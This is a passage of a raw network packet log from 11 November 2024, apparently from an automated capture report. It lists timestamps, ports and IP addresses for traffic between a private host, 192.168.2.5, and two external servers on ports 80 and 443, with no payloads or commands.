Nov 11, 2024 21:59:29.417530060 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417541027 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417551041 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417613029 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417680025 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417732000 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417746067 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.417751074 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.417828083 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417829990 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417841911 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417853117 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417864084 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417934895 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417938948 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417963028 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417973995 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417979956 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417984962 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418009043 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418034077 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418055058 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418095112 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418106079 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418162107 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418203115 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418214083 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418224096 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418262959 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.418268919 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.418286085 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418289900 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418327093 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418349028 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418365955 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418376923 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418389082 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418473959 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418519974 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418592930 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418670893 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418680906 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418685913 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.418698072 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.418711901 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418728113 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418740034 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418752909 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418778896 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418786049 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418788910 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418800116 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418804884 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418812990 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418823004 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418823957 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418834925 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418838024 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418847084 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418857098 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.418859005 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418875933 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.418898106 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.419146061 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.419151068 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.419413090 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.419420004 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.419797897 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.419802904 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.419923067 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.419928074 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.420253992 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.420257092 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.421827078 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421853065 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421864986 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421874046 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421885014 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.421894073 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421906948 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.421922922 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421933889 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421935081 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.421943903 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421956062 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421960115 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.421967030 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.421978951 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422003031 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422034979 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422035933 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422066927 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422125101 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422137022 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422147036 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422158003 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422168970 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422173023 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422207117 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422313929 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422337055 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422355890 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422365904 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422374010 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422418118 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422439098 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422450066 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422460079 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422461987 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422473907 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422485113 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422494888 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422522068 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422684908 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422696114 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422707081 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422734976 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422745943 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422749043 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422756910 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422781944 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422786951 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422795057 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422800064 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422811031 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422821999 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.422825098 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422840118 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.422854900 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.497704029 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.497769117 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.508089066 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.508203983 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.508209944 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.508272886 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.508574009 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.508667946 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.508686066 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.508894920 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.509012938 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.509092093 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.509396076 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.509438992 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.509608984 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.509706974 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.509900093 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.510555983 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.510576010 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.510720968 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.510726929 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.519953966 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.519953966 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.519961119 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.519968987 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.526899099 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.526916981 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.527003050 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.527009964 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.527987957 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.528008938 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.528019905 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.528026104 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.528765917 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.528770924 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.528794050 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.528798103 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.529470921 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529485941 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529508114 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529517889 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529527903 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529530048 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529539108 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529541016 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529553890 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529566050 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529567957 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529592991 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529607058 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529622078 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529629946 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529655933 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529778957 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529829025 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529881954 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529894114 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529903889 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529916048 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529927969 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529930115 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529953957 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529954910 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529968023 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529972076 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529983044 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529989004 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.529994965 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.529999971 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530013084 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530016899 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530035973 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530040026 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530049086 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530050993 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530067921 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530071020 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530080080 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530088902 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530093908 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530098915 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530124903 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530127048 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530137062 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530144930 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530185938 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530231953 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530244112 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530252934 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530268908 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530281067 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530292988 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530297995 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530308008 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530318975 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530325890 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530329943 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530334949 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530343056 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530353069 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530363083 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530364990 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530374050 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530385971 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530405045 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530414104 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530424118 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530435085 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530450106 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530472994 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530494928 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530509949 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530519962 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530530930 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530541897 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530555010 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530564070 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530570984 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530582905 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530591011 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530603886 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530627966 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530699968 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530718088 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530741930 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530752897 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530752897 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530764103 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530776024 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530783892 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530802011 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530807018 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530817986 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530831099 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530832052 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530858994 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530880928 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530913115 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530925035 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530936956 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530961037 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530965090 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530977964 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530988932 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.530988932 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.530998945 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531001091 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531022072 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531030893 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531033993 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531044006 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531050920 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531056881 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531069040 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531073093 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531099081 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531125069 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531130075 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531141043 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531163931 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531176090 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531186104 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531188965 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531208038 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531225920 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531254053 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531265020 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531275034 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531286001 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531297922 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531300068 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531308889 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531323910 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531337023 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531337023 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531380892 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531392097 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531405926 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531414032 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531420946 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531438112 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531460047 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531481028 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531553984 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531564951 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531600952 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531604052 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531613111 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531625032 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531636000 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531662941 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531675100 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531687975 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531697989 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531714916 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531727076 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531737089 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531748056 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531764030 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531771898 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531775951 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531785965 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531797886 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531799078 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531820059 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531838894 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531851053 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531898022 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.531971931 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.531981945 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.532085896 CET	80	58846	185.215.113.16	192.168.2.5
